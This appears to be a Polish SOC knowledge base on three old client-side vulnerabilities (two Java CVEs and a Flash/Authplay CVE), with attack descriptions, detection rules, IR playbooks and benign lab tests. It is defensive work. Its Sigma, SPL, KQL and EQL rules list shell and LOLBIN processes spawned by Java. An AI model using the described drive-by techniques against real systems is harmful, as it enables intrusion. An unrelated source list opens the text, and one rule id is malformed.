  • Fedora Bodhi — FEDORA-2025-43c76ece40: opis aktualizacji do 21.1.20 i listy CVE. (bodhi.fedoraproject.org)
  • Debian Security Tracker — CVE-2025-62229: opis use-after-free w Present. (security-tracker.debian.org)
  • Debian Security Tracker — CVE-2025-62231: opis overflow w XkbSetCompatMap. (security-tracker.debian.org)
  • cve.org — CVE-2025-62230: opis use-after-free w czyszczeniu zasobów XKB. (cve.org)
  • LinuxSecurity Advisory (link od użytkownika) — streszczenie wydania dla Fedora 42. (Linux Security)

CVE-2012-1723 — Oracle Java SE HotSpot (bytecode verifier) RCE

TL;DR

Błąd w podsystemie HotSpot/bytecode verifier Javy umożliwia zdalne wykonanie kodu oraz ucieczkę z sandboxa po wejściu na złośliwą stronę lub uruchomieniu nieufnego apletu/JNLP. W praktyce był intensywnie wykorzystywany przez zestawy exploitów (np. Blackhole) do początkowej infekcji stacji roboczych. Aktualizacja JRE/JDK do 7u5/6u33+ i blokada treści web to kluczowe działania. Mapa do ATT&CK: T1189 + T1203.


Krótka definicja techniczna

CVE-2012-1723 to krytyczna podatność RCE w Oracle Java SE (HotSpot) polegająca na błędnej optymalizacji i niewystarczającym sprawdzaniu typów w weryfikatorze bajtkodu dla instrukcji dostępu do pól/statycznych, co umożliwia sandbox escape i wykonanie dowolnego kodu w kontekście użytkownika.


Gdzie występuje / przykładowe platformy

  • Windows / macOS / Linux (endpointy z JRE/JDK, dawne wtyczki przeglądarek NPAPI, Java Web Start) — scenariusz klienta (najczęstszy).
  • AD / M365 / ESXi / K8s / chmury (AWS/Azure/GCP): brak bezpośredniego wektora — wpływ pośredni poprzez kompromitację stacji użytkownika i dalsze TTPs (np. kradzież sesji/danych po inicjalnym dostępie). [Nie dotyczy bezpośrednio].

Szczegółowy opis techniki (jak działa, cele, dlaczego skuteczna)

Błąd wynika z nieprawidłowej optymalizacji i niedostatecznej kontroli typów przez weryfikator bajtkodu HotSpot dla instrukcji GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC, co prowadzi do niespójności typów i obejścia kontroli bezpieczeństwa. Skutkiem jest ucieczka z sandboxa JRE i możliwość załadowania dodatkowych klas z podwyższonymi uprawnieniami, a dalej RCE. Podatność była wieloplatformowa i szybko trafiła do Blackhole exploit kit oraz do modułów narzędzi ofensywnych, przez co stała się powszechna w kampaniach drive‑by.

Z punktu widzenia ofiary inicjatorem jest zwykle przeglądarka otwierająca stronę z applet/JAR/JNLP, co powoduje załadowanie złośliwej klasy Javy i eksploitację bez dodatkowej interakcji użytkownika (CVSS UI:N). Efektem wtórnym bywają procesy potomne (np. cmd.exe, powershell.exe) lub pobieranie dodatkowych plików (droppers).


Artefakty i logi

ŹródłoCo zbieraćPrzykłady / wskazówki
Windows SecurityEID 4688 (tworzenie procesu)ParentImage=...\\java.exe/javaw.exe uruchamia cmd.exe, powershell.exe, wscript.exe, rundll32.exe, mshta.exe.
SysmonEID 1 (Process Create), 3 (Network Connect), 11 (FileCreate)Łańcuch java[w].exe → {shell/script}; połączenia HTTP/HTTPS do domen niskiej reputacji; zapisy .jar/.class w %TEMP%.
Proxy/HTTP logsŻądania do *.jar/*.jnlp; UA Java/; referrer do świeżo zarejestrowanych domenKorelować z następnymi procesami potomnymi i zapisami w profilu użytkownika.
EDR/AVDetekcje apletów i loaderówNazwy: Exploit:Java/CVE-2012-1723 (Microsoft), sygnatury IDS/IPS (Symantec/Broadcom).
DNSRozwiązania domen wykorzystywanych w kampaniachDomeny jednorazowe, fast‑flux.
CloudTrail (S3 Data Events)*Rzadkie — pobrania GetObject .jar przez konta korp.eventSource='s3.amazonaws.com' AND eventName='GetObject' AND requestParameters.key LIKE '%.jar' — tylko jeśli włączone Data Events/Lake.
K8s audit / M365[brak bezpośrednich artefaktów]Nie dotyczy — klientowa eksploitacja Javy.

* Uwaga: większość scenariuszy drive‑by nie przechodzi przez konta AWS ofiary.


Detekcja (praktyczne reguły)

Sigma (Sysmon / Windows)

title: Java Spawning Suspicious Children (CVE-2012-1723 Pattern)
id: 8da0d2b5-4f2b-4a1e-9f1e-1723java-rce
status: experimental
description: Wykrywa uruchamianie podejrzanych procesów potomnych przez java.exe/javaw.exe
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2012-1723
  - https://attack.mitre.org/techniques/T1203/
  - https://attack.mitre.org/techniques/T1189/
tags:
  - attack.t1203
  - attack.t1189
logsource:
  product: windows
  service: sysmon
detection:
  parent_java:
    ParentImage|endswith:
      - '\java.exe'
      - '\javaw.exe'
  child_susp:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\rundll32.exe'
      - '\mshta.exe'
  condition: parent_java and child_susp
falsepositives:
  - Narzędzia deweloperskie (Maven/Gradle), instalatory
level: high

Splunk (SPL, Sysmon EID=1)

index=endpoint sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
| eval parent=lower(ParentImage), child=lower(Image)
| search parent="*\\java.exe" OR parent="*\\javaw.exe"
| search child="*\\cmd.exe" OR child="*\\powershell.exe" OR child="*\\wscript.exe" OR child="*\\cscript.exe" OR child="*\\rundll32.exe" OR child="*\\mshta.exe"
| stats count min(_time) as first_seen max(_time) as last_seen by host, ParentImage, ParentCommandLine, Image, CommandLine, User, process_guid, parent_process_guid

KQL (Microsoft 365 Defender)

DeviceProcessEvents
| where InitiatingProcessFileName in~ ("java.exe","javaw.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","rundll32.exe","mshta.exe")
| summarize count(), first_seen=min(Timestamp), last_seen=max(Timestamp)
  by DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName, FileName,
     InitiatingProcessCommandLine, CommandLine, InitiatingProcessSHA256, SHA256

(Opcjonalnie, korelacja ruchu sieciowego):

DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("java.exe","javaw.exe")
| where RemoteUrl has_any (".jar",".jnlp",".class")
| summarize dcount(RemoteUrl), makeset(RemoteUrl) by DeviceName, InitiatingProcessFileName, bin(Timestamp, 15m)

AWS (CloudTrail Lake / Athena — tylko gdy włączone S3 Data Events)

-- CloudTrail Lake / Athena (przykład): pobrania *.jar* przez tożsamości korp.
SELECT eventTime, userIdentity.arn, sourceIPAddress, requestParameters.bucketName as bucket,
       requestParameters.key as objectKey, userAgent
FROM cloudtrail_logs
WHERE eventSource = 's3.amazonaws.com'
  AND eventName = 'GetObject'
  AND requestParameters.key LIKE '%.jar'
  AND userAgent LIKE 'Java/%';

Wymaga rejestrowania Data Events dla S3 i zapytań Lake/Athena.

Elastic (EQL)

process where
  process.parent.name in ("java.exe","javaw.exe") and
  process.name in ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","rundll32.exe","mshta.exe")

Heurystyki / korelacje (co łączyć)

  • Łańcuch czasowy (±5 min): (Proxy/EDR) pobranie *.jar/*.jnlp(Sysmon) java[w].exe start → proces potomny z interpretatorem/skryptem → (Sysmon 3) nowa sesja sieciowa C2.
  • UA i referer: User-Agent: Java/ + domena świeżo zarejestrowana + brak wcześniejszych hitów w organizacji.
  • Ścieżki plików: zapisy w %TEMP%, %USERPROFILE%\AppData\Local\Temp\ z rozszerzeniami .jar/.class, po których następuje wykonanie EXE/DLL.
  • EDR/AV: alarmy typu Exploit:Java/CVE-2012-1723 skorelowane z ruchem do nowych domen.

False positives / tuning

  • Deweloperzy Java (Maven/Gradle/ant) mogą sporadycznie uruchamiać powłokę — whitelisting hostów dev, podpisanych ścieżek narzędzi (np. maven wrapper) i repozytoriów artefaktów.
  • Instalatory (np. launchery gier/aplikacji na Javie) — filtruj po katalogu Program Files\Java\bin\java.exe vs. embedded JRE w katalogu aplikacji.
  • Agreguj alert dopiero, gdy co najmniej dwa warunki spełnione: java → child proc i pobranie *.jar/.jnlp z nieznanej domeny.

Playbook reagowania (IR)

  1. Kwalifikacja/izolacja: odłącz host od sieci (EDR izolacja).
  2. Identyfikacja wersji JRE/JDK: java -version; w Windows sprawdź HKLM\Software\JavaSoft\Java Runtime Environment\*.
  3. Zabezpieczenie dowodów: ram dump (jeśli polityka pozwala), MFT/$UsnJrnl, prefetch, zestaw logów (Sysmon, proxy, DNS).
  4. Triage wskaźników: hashe pobranych JAR/EXE, domeny, UA Java/.
  5. Remediacja: usuń artefakty, zablokuj domeny/URL-e, zaktualizuj JRE/JDK do 7u5/6u33+ (lub nowszych LTS), wyłącz przestarzałe wtyczki Java/Java Web Start.
  6. Hunt (24–72h wstecz): wzorzec java[w].exe → {cmd/powershell/...} + GET *.jar w proxy/DNS.
  7. Lessons learned: egzekwuj M1021/M1048/M1051 (Mitigations, poniżej).

Przykłady z kampanii / case studies

  • Blackhole exploit kit (2012): szybka integracja exploitu na CVE‑2012‑1723; ataki drive‑by masowo infekowały hosty przez aplety Javy; publiczny opis procesu wykorzystania i ucieczki z sandboxa.
  • Microsoft WDSI: rodzina detekcji Exploit:Java/CVE‑2012‑1723 — aplet pobiera i uruchamia dodatkowe pliki z zewnętrznego hosta po wejściu na zhakowaną stronę.
  • Sygnatury IPS (Broadcom/Symantec): gotowe reguły sieciowe podkomponentu HotSpot dla tego CVE.
  • CISA KEV: CVE wpisany do Known Exploited Vulnerabilities (wymóg patchowania dla FCEB). Informacja widnieje m.in. na karcie NVD (odniesienie do KEV).

Lab (bezpieczne testy) — symulacja dla SOC

Cel: przetestować reguły bez eksploitacji — wygenerować podejrzany łańcuch java → shell.

  1. Kod (bezpieczny): TestSpawn.java import java.io.*; public class TestSpawn { public static void main(String[] args) throws Exception { new ProcessBuilder("cmd.exe", "/c", "echo HelloFromJava").start().waitFor(); } }
  2. Budowa i uruchomienie (host testowy/VM): javac TestSpawn.java jar --create --file test.jar TestSpawn.class java -cp . TestSpawn java -jar test.jar
  3. Oczekiwane artefakty: Sysmon EID=1 (java.execmd.exe), opcjonalnie EID=3 (połączenia, jeśli dodać curl w ProcessBuilder).
  4. Weryfikacja: sprawdź, czy zadziałały Sigma/SPL/KQL/EQL z sekcji 7.

Uwaga: Testy wyłącznie w odizolowanej VM i ze znanym, niewinnym ładunkiem.


Mapowania (Mitigations, powiązane techniki)

Mitigations (ATT&CK Enterprise):

  • M1051 — Update Software: szybkie łatki JRE/JDK (7u5/6u33+).
    • M1042 — Disable or Remove Feature or Program: usuń/wyłącz wtyczkę Java, Java Web Start.
    • M1021 — Restrict Web‑Based Content: proxy/WAF/filtry treści blokujące *.jar/*.jnlp.
    • M1048 — Application Isolation and Sandboxing: sandboxing przeglądarki/aplikacji.
    • M1031 — Network Intrusion Prevention: sygnatury IDS/IPS dla znanych kampanii.

Powiązane techniki ATT&CK:

  • T1189 — Drive‑by Compromise (wejście na stronę inicjuje eksploatację).
  • T1203 — Exploitation for Client Execution (podatność w aplikacji klienckiej — Java).

Źródła / dalsza lektura

  • NVD (CVE-2012-1723): opis, CVSS 3.1 (9.8), wzmianka o KEV, historia zmian. (NVD)
  • Oracle Java SE CPU — czerwiec 2012 (tekstowa risk matrix): opis CVE‑2012‑1723 (HotSpot), dotknięte wersje, scenariusz klienta. (Oracle)
  • Tenable (Nessus 64848): wersje naprawcze 7u5/6u33/5.0u36/1.4.2_38. (Tenable®)
  • OpenJDK (mailing list): powiązanie z Issues in client compiler (S7152811). (mail.openjdk.java.net)
  • ESET WeLiveSecurity: analiza (błąd w weryfikatorze bajtkodu, Blackhole). (We Live Security)
  • Microsoft WDSI: Exploit:Java/CVE-2012-1723 — zachowanie zagrożenia. (Microsoft)
  • Broadcom/Symantec: sygnatura Web Attack: Oracle Java SE CVE‑2012‑1723. (Broadcom)
  • ATT&CK v18 (Version history): aktualna wersja ramy. (MITRE ATT&CK)
  • ATT&CK techniki: T1189, T1203. (MITRE ATT&CK)
  • AWS (CloudTrail/Athena/Lake): przykłady zapytań i wymagania dla Data Events. (AWS Documentation)

Checklisty dla SOC / CISO (krótko)

SOC (operacyjne):

  • Wdrożone reguły: Sigma/EQL/KQL/SPL z korelacją java[w].exe → child + *.jar/.jnlp
  • Blokady proxy: *.jar, *.jnlp, UA Java/ z Internetu, wyjątki tylko dla zaufanych repozytoriów
  • Polowanie na hosty z niezałatanym JRE/JDK; inwentaryzacja wersji
  • Blokada/wycofanie wtyczek Java/Java Web Start (jeśli jeszcze obecne)
  • Feed KEV — CVE-2012-1723 oznaczone jako exploited-in-the-wild (priorytet)

CISO (strategiczne):

  • Polityka M1051: SLA na łatki dla RCE w komponentach klienckich
  • M1042/M1048: eliminacja legacy pluginów + izolacja aplikacji przeglądarkowych
  • M1021/M1031: restrykcja treści web i IPS na granicy
  • Program zarządzania technologiami starszymi (EOL) oraz egzekwowanie standardów oprogramowania

Uwaga o ryzyku: CVE‑2012‑1723 pozostaje klasycznym przykładem, jak jedna luka w środowisku klienckim może zapewnić atakującym natychmiastowy punkt wejścia (Initial Access) i wykonanie kodu (Execution). Nawet dziś, w retrospektywie, jej wzorce artefaktów (Java → child proc, pobrania JAR) są cennymi sygnałami do budowy analityk behawioralnych w SOC.

CVE-2012-0507 — Java SE (AtomicReferenceArray, type confusion)

TL;DR

CVE‑2012‑0507 to błąd type confusion w Java SE (klasa AtomicReferenceArray), umożliwiający zdalne wykonanie kodu przez złośliwy aplet na stronie (drive‑by). Luka była masowo wykorzystywana w 2012 r. (m.in. Blackhole EK i botnet Flashback), szczególnie na macOS, gdzie łatka pojawiła się z opóźnieniem. SOC powinien łączyć telemetry z przeglądarek/proxy (pobrania JAR), EDR (łańcuch procesów java[w].exe → LOLBIN), Sysmon (EID 1/3/11/22) i M365 UrlClickEvents. Podstawowe mitygacje: aktualizacje (M1051), wyłączenie/odinstalowanie wtyczki Java (M1042), restrykcja treści web (M1021), kontrola egzekucji (M1038).

Krótka definicja techniczna

CVE‑2012‑0507 to podatność w Java Runtime Environment (JRE 7u2 i starsze, 6u30 i starsze, 5.0u33 i starsze) w module Concurrency; nieprawidłowe sprawdzanie typów w AtomicReferenceArray pozwala atakującemu ominąć sandbox i wykonać dowolny kod w kontekście użytkownika po otwarciu złośliwego apletu/aplikacji Java Web Start.

Gdzie występuje / przykłady platform

  • Windows / Linux / macOS: przeglądarka z wtyczką Java/Java Web Start. W 2012 r. Flashback masowo infekował macOS przez CVE‑2012‑0507 (ponad 550k–600k hostów), m.in. z powodu opóźnienia w wydaniu łatki dla Java na macOS.
  • VDI/DaaS, stacje adminów, serwery jump: ryzyko przy swobodnym surfowaniu z podatną wtyczką.
  • Chmura / M365: wektor kliknięcia z e‑maila/Teams (telemetria UrlClickEvents), hosty w VDI w chmurze.
  • Przeglądarki: drive‑by przez skompromitowane witryny, malvertising, iFrame; klasyczny T1189.

Szczegółowy opis techniki (jak działa, cele, skuteczność)

CVE‑2012‑0507 umożliwia eskalację uprawnień apletu poprzez błędną obsługę typów w AtomicReferenceArray. Poprzez manipulację obiektem zserializowanym atakujący doprowadza do type confusion i zapisu referencji poza oczekiwanym typem, co skutkuje wyjściem z sandboxa Javy i RCE. W praktyce exploit był osadzany w stronie www; odwiedziny (lub przeklikany link) inicjowały pobranie JAR i łańcuch dalszej egzekucji/pobrania ładunku (np. przez exploit kity typu Blackhole), czyli T1189 → T1203, często poprzedzone T1204.001.

Dlaczego skuteczna?
W 2012 r. wtyczki Java były powszechne; rozproszenie wersji, opóźnienia łatek (zwł. macOS) i automatyczne uruchamianie apletów w przeglądarkach sprzyjało cichym kompromitacjom (drive‑by). Kampania Flashback osiągnęła setki tysięcy ofiar; Oracle załatało błąd w lutym 2012, a Apple dostarczyło aktualizację dla macOS dopiero na początku kwietnia.


Artefakty i logi (tabela)

Zdarzenie / ArtefaktWindows (EID/Sysmon)macOS/LinuxProxy/WAF/ALB/CFCloudTrailK8s auditM365 (Defender XDR)
Pobranie JAR/apletu z WWWSysmon EID 3 (połączenie), EID 22 (DNS); Security 5156Unified Logging (Safari/Chrome net events)ALB/CloudFront/WAF: UA Java/*, ścieżka *.jarn/dn/dUrlClickEvents (klik źródła), DeviceNetworkEvents (host)
Egzekucja exploitaSysmon EID 1: java.exe/javaw.exeprocess: java w unify/journald/auditd (execve)DeviceProcessEvents (jeśli MDE)
Łańcuch: Java → LOLBIN (np. rundll32, mshta, wscript, powershell)Sysmon EID 1 z ParentImage=java[w].exeparent: java → child: sh/bash/pythonDeviceProcessEvents korelacja InitiatingProcessFileName
Zapisy dropperaSysmon EID 11 (file create), EID 13 (reg set)File audit/journaldProxy: kolejny GET (payload)DeviceFileEvents

Uwaga: to ataki klienckie – CloudTrail nie rejestruje procesów na hostach; w chmurze szukaj korelacji w ALB/CF/WAF/NGFW oraz telemetry endpointów.

Detekcja (praktyczne reguły)

Sigma (Sysmon/Windows) – Java → podejrzany child

title: Java Spawns Suspicious Child Process (CVE-2012-0507 tradecraft)
id: 5c4b6a0e-9d7a-4d8f-8b28-java-child-suspicious
status: experimental
description: Wykrywa łańcuch java.exe/javaw.exe uruchamiający interpretery/LOLBIN po potencjalnym drive-by (np. Blackhole/Flashback-era).
references:
  - https://attack.mitre.org/techniques/T1189/
  - https://attack.mitre.org/techniques/T1203/
logsource:
  product: windows
  category: process_creation
detection:
  selection_parent:
    ParentImage|endswith:
      - '\java.exe'
      - '\javaw.exe'
  selection_child:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\mshta.exe'
      - '\rundll32.exe'
      - '\regsvr32.exe'
      - '\msiexec.exe'
  condition: selection_parent and selection_child
fields:
  - CommandLine
  - ParentCommandLine
  - Image
  - ParentImage
falsepositives:
  - Instalatory/launchery oparte na Java (Install4j/Launch4j)
level: high
tags:
  - attack.t1189
  - attack.t1203

Splunk (Sysmon + Proxy)

# Child processes z Java (Sysmon)
index=endpoint sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
(ParentImage="*\\java.exe" OR ParentImage="*\\javaw.exe")
Image IN ("*\\powershell.exe","*\\cmd.exe","*\\wscript.exe","*\\cscript.exe","*\\rundll32.exe","*\\mshta.exe","*\\regsvr32.exe","*\\msiexec.exe")
| stats count earliest(_time) as first latest(_time) as last by host, ParentImage, ParentCommandLine, Image, CommandLine, ParentProcessGuid, ProcessGuid

# Proxy/secure web gateway: pobrania JAR z UA Java (dostosuj pola)
index=proxy (cs_user_agent="Java*" OR user_agent="Java*") (uri_path="*.jar" OR url="*.jar")
| stats count by src_ip, user, url, user_agent

KQL (Defender for Endpoint / Microsoft 365 Defender)

// 1) Child processy z Java
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("java.exe","javaw.exe")
| where FileName in~ ("powershell.exe","cmd.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","msiexec.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine

// 2) Pobrania JAR przez procesy Java
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("java.exe","javaw.exe")
| where RemoteUrl endswith ".jar" or RequestUrl endswith ".jar"
| summarize cnt=count(), firstSeen=min(Timestamp), lastSeen=max(Timestamp) by DeviceName, InitiatingProcessFileName, RemoteUrl

// 3) Kliknięcia linków (MDO Safe Links)
UrlClickEvents
| where Url has ".jar" or Url has "java" // dopasuj pod kampanie
| project Timestamp, AccountUpn, Url, ActionType, Workload, IPAddress, ThreatTypes

(„UrlClickEvents” w Advanced Hunting zawiera pełny URL i werdykt kliknięcia.)

AWS (CloudWatch Logs Insights — ALB/CloudFront/WAF)*

fields @timestamp, @message
| filter @message like /User-Agent=.*Java\/[0-9]/ and @message like /\.jar/
| sort @timestamp desc
| limit 100

(*CloudTrail nie loguje żądań HTTP do aplikacji; użyj logów ALB/CloudFront/WAF lub NGFW.)

Elastic / EQL

// Java -> LOLBIN
process where process.parent.name in ("java.exe","javaw.exe") and
           process.name in ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","msiexec.exe")

// HTTP: UA Java + JAR (przykładowy ECS)
network where network.protocol == "http" and
             http.request.method == "GET" and
             http.request.headers.user_agent : "Java*" and
             url.path : "*.jar"

Heurystyki / korelacje

  • Łańcuch czasowy: browser → java[w].exe → LOLBIN → outbound (HTTP/DNS) w krótkim oknie.
  • Proxy/NGFW: UA „Java/*” oraz *.jar z domen o niskiej reputacji → koreluj z procesami Java na hostach.
  • macOS: brak Gatekeeper promptów przy apletach w WWW (historycznie); sprawdzaj ~/Library/LaunchAgents po nietypowych wpisach.
  • Zestawy exploitów: obserwuj wzorce Blackhole/Blacole (historyczne IOC/telemetria) jako retro‑threat hunting.

False positives / tuning

  • Instalatory oparte na Java (Install4j/Launch4j) uruchamiają msiexec.exe/regsvr32.exewhitelist po ścieżce, podpisie i hashu.
  • Narzędzia deweloperskie (Gradle/Maven) – generują ruch HTTP; filtruj po docelowych repo (repo.maven.org, wew. Artifactory).
  • UA „Java/*” bywa używany przez skrypty integracyjne — weryfikuj hosty serwerowe vs. stacje użytkowników.

Playbook reagowania (IR)

  1. Izoluj host/VDI (EDR „isolate”).
  2. Zabezpiecz artefakty: pamięć, %TEMP%/Downloads, ~/Library/ (macOS), logi proxy/EDR.
  3. Weryfikuj wersje Javy i wtyczek:
    • Windows (PowerShell): Get-ItemProperty 'HKLM:\SOFTWARE\JavaSoft\Java Runtime Environment' | select CurrentVersion
    • macOS: /usr/libexec/java_home -V
  4. Analiza drzew procesów: szukaj java[w].execmd/powershell/mshta/rundll32/....
  5. Zidentyfikuj źródło: domene/URL z UrlClickEvents i proxy; odetnij na FW/DNS.
  6. Eradykacja: odinstaluj/wyłącz plugin Java w przeglądarkach (M1042), zaktualizuj JRE/JDK (M1051).
  7. Hunting wsteczny: wzorce z pkt 7 i 8, retro na 2012‑style TTP (dla zestawów lab/archiwum).
  8. Lessons learned: polityka disable‑by‑default dla wtyczek, ASR/AppControl (M1038), URL filtering (M1021).

Przykłady z kampanii / case studies

  • OSX/Flashback (2012) — masowe infekcje macOS (550k–600k hostów) przez CVE‑2012‑0507; Apple wydało aktualizację w kwietniu 2012 i dodało narzędzia usuwające.
  • Blackhole Exploit Kit (2012) — zestaw exploitów zaczął obsługiwać CVE‑2012‑0507, znacząco zwiększając skuteczność drive‑by.

Lab (bezpieczne testy) — przykładowe komendy

Cel: wygenerować telemetrię detekcyjną, bez exploita.

  • Proxy/ALB telemetry: serwuj plik hello.jar z wewn. HTTP i symuluj pobranie „klient‑Java”: # serwer python3 -m http.server 8000 # klient (symulacja UA Java z curl) curl -A "Java/1.6.0_31" http://<lab-web>:8000/hello.jar -o /tmp/hello.jar Następnie uruchom zapytania (Splunk/Elastic/KQL/Insights) z sekcji 7.
  • EDR/Sysmon łańcuch procesów (symulacja benign): uruchom legalną aplikację Java, a oddzielnie (ręcznie) proces pomocniczy, by sprawdzić reguły korelacyjne — nie symuluj złośliwego kodu.
  • M365: wyślij do siebie e‑mail z bezpiecznym linkiem do hello.jar w labie i sprawdź UrlClickEvents (czy klik i domena są odnotowane).

Mapowania (Mitigations, powiązane techniki)

Mitigations (ATT&CK):

  • M1051 – Update Software (szybkie łatanie JRE/JDK; polityki patch).
  • M1042 – Disable or Remove Feature or Program (wyłączenie/odinstalowanie wtyczki Java w przeglądarkach).
  • M1021 – Restrict Web‑Based Content (URL filtering, blokowanie typów plików, skanowanie pobrań).
  • M1038 – Execution Prevention (AppControl/ASR, blokada uruchamiania niepodpisanych binariów).
  • M1037 – Filter Network Traffic (blokada znanych domen EK/C2, polityki egress).
  • M1017 – User Training (świadomość dot. linków/ostrzeżeń przeglądarki).

Powiązane techniki:

  • T1189 — Drive‑by Compromise – Exploit ładuje się po wejściu na stronę (watering hole/malvertising/iFrame), skanuje wersje wtyczek i serwuje JAR z exploitem; po skutecznym RCE dropper pobiera właściwy malware.
  • T1203 — Exploitation for Client Execution – Wykorzystanie luki w aplikacji klienckiej (tu: plugin/Java Web Start) do wykonania kodu — bez potrzeby interakcji poza wejściem na stronę.
  • T1204.001 — User Execution: Malicious Link – Często poprzedza drive‑by; kliknięcie linku kieruje do strony serwującej exploit i uruchamia T1203.

Źródła / dalsza literatura

  • MITRE ATT&CK: T1189, T1203, T1204 (sub‑tech). (MITRE ATT&CK)
  • ATT&CK wersjonowanie: v18.0 (Oct 28, 2025). (MITRE ATT&CK)
  • NVD / CVE record: opis, zakres wersji. (NVD)
  • Oracle CPU (Feb 2012) – advisory i tabeli ryzyka/wersje. (Oracle)
  • Analiza techniczna typu type confusion (AtomicReferenceArray). (media.blackhat.com)
  • Flashback/ekosystem 2012: ESET whitepaper/blog, Dr.Web liczby, przegląd prasy. (web-assets.esetstatic.com)
  • Blackhole EK: wpisy ESET, Krebs, overview MS/F‑Secure. (We Live Security)
  • M365 UrlClickEvents – schema/detekcja klików. (Microsoft Learn)

Checklisty dla SOC / CISO (krótko)

SOC

  • Reguły detekcji: Java → LOLBIN (Endpoint + Sigma/SPL/KQL/EQL).
  • Korelacje: UA Java/* + *.jar + proces java[w].exe.
  • Blokady: FW/DNS dla domen kampanii; zasady SWG (blok JAR).
  • Telemetria: Sysmon EID 1/3/11/22 wdrożone i wysyłane.
  • Retrospektywa na 2012‑style TTP (archiwalne logi/laby).

CISO

  • Polityka disable‑by‑default dla przeglądarkowych wtyczek/Java.
  • Patch SLA dla JRE/JDK (M1051) i egzekucja wytycznych.
  • URL filtering/SSL inspection (M1021/M1037) i polityki egress.
  • AppControl/ASR (M1038) na stacjach użytkowników.
  • Program szkoleniowy nt. drive‑by/kliknięć (M1017).

CVE-2011-0609 — Adobe Flash/Reader (Authplay) RCE w kampaniach spear‑phishingowych

TL;DR

Krytyczny błąd w Adobe Flash Player oraz w komponencie Authplay bibliotek Adobe Reader/Acrobat (CVE‑2011‑0609) umożliwiał zdalne wykonanie kodu przez spreparowane pliki SWF. W 2011 r. był aktywnie wykorzystywany w atakach z załącznikami XLS (osadzony SWF), m.in. w incydencie RSA SecurID. Detekcja: korelacja Email → Office/Reader → podejrzany child‑process/C2, blokada starych Flash/Reader, sandboxing załączników.


Krótka definicja techniczna

CVE‑2011‑0609 to luka (memory corruption/unspecified) w Adobe Flash Player 10.2.154.13 i starszych (Windows/macOS/Linux/Solaris, Android), Adobe AIR 2.5.1 i starszych oraz w Authplay.dll/AuthPlayLib.bundle używanym przez Adobe Reader/Acrobat 9.x–9.4.2 oraz 10.x–10.0.1. Otwarcie złośliwego SWF (np. osadzonego w pliku Excel) skutkuje RCE w kontekście aplikacji.


Gdzie występuje / przykłady platform

  • Windows / macOS / Linux / Solaris (endpointy) — przeglądarki i Office/Reader ładujące wtyczkę Flash/komponent Authplay.
  • Android (mobile) — podatne wydania Flash 10.1.106.16 i starsze.
  • Active Directory — punkt rozprzestrzenienia po początkowym foothold; nie jest bezpośrednio podatne.
  • M365 — wektor mailowy (Exchange/Defender for Office 365: Safe Attachments/Safe Links, Message trace).
  • AWS/Azure/GCP — brak bezpośredniej podatności; możliwa telemetria z WorkMail/SES/WorkSpaces, VPC Flow/Firewall do korelacji C2.
  • Kubernetes/ESXi — nie dotyczy bezpośrednio; przydatne do detekcji lateral movement po inicjalnym włamaniu.
    (Flash i Authplay są EOL; nadal warto utrzymywać detekcję retro/archiwalną dla threat huntingu i IR).

Szczegółowy opis techniki (jak działa, cele, skuteczność)

Ataki wykorzystywały SWF z exploitem osadzony w pliku .xls wysyłanym jako spear‑phishing. Po otwarciu arkusza Excel ładował komponent Flash/ActiveX, wykonywał payload w pamięci i uruchamiał proces podrzędny (np. dropper/loader), typowo ustanawiający łączność C2 i dogrywający RAT (w publicznych opisach wskazywano m.in. Poison Ivy). W kampanii na RSA załącznik o nazwie “2011 Recruitment plan.xls” prowadził do kradzieży poufnych danych SecurID. Ta taktyka była skuteczna z powodu: zaufania do dokumentów Office, łańcucha User Execution → Client Exploitation, braku patchy i ograniczonej widoczności korelacyjnej między warstwą e‑mail, procesami na hoście i ruchem sieciowym.


Artefakty i logi (tabela — EID, CloudTrail, K8s audit, M365)

KategoriaŹródłoID/OperacjaWzorzec / PolaCo oznacza
WindowsSysmonEID 1 (ProcessCreate)ParentImage in (EXCEL.EXE,AcroRd32.exe,WINWORD.EXE) + Image in (cmd.exe,powershell.exe,wscript.exe,mshta.exe,rundll32.exe)Nietypowe child‑procesy po otwarciu dokumentu/Readera (wskaźnik exploit→payload).
SysmonEID 3 (NetworkConnect)ParentImage jak wyżej; dest na świeże domeny/DGA/dynamic DNSWczesne C2 po exploitacji.
SysmonEID 7 (ImageLoaded)ImageLoaded endswith authplay.dll / Flash*.ocx z nieaktualnych ścieżekŁadowanie wrażliwego komponentu.
SysmonEID 11 (FileCreate)Tworzenie dropperów w %APPDATA%, %TEMP% (np. *.tmp, *.dat)Artefakty pierwszego etapu.
Windows Security4688Jak EID 1 (jeśli brak Sysmon)Procesy uruchomione przez Office/Reader.
Windows PowerShell4104Nieoczekiwane skrypty po otwarciu plikuWskaźnik T1059.
M365Defender for Office 365EmailEventsAttachmentExtension="xls" + ThreatTypes/MalwareVerdict + DetectionMethod=SafeAttachmentsZatrzymane/wykryte załączniki ze SWF/osadzonymi obiektami.
Unified Audit LogMailItemsAccessed/SendKorelacja adresatów/wątków phishingowychZasięg kampanii.
Proxy/DNSSecure Web Gateway / resolverUser-Agent Office/Reader → outbound, świeże domeny, nietypowe SNIPotwierdzenie C2 po otwarciu dokumentu.
AWS (telemetria)CloudWatch/VPC FlowNietypowe wyjścia z hostów WorkSpaces/EC2 po zdarzeniu e‑mailKorelacja sieciowa (brak bezpośredniego CloudTrail dla kontentu maili).
CloudTrail[brak danych / nie dotyczy] — CloudTrail nie rejestruje zawartości załącznikówUżyć WorkMail Message Flow/SES logs, VPC Flow.
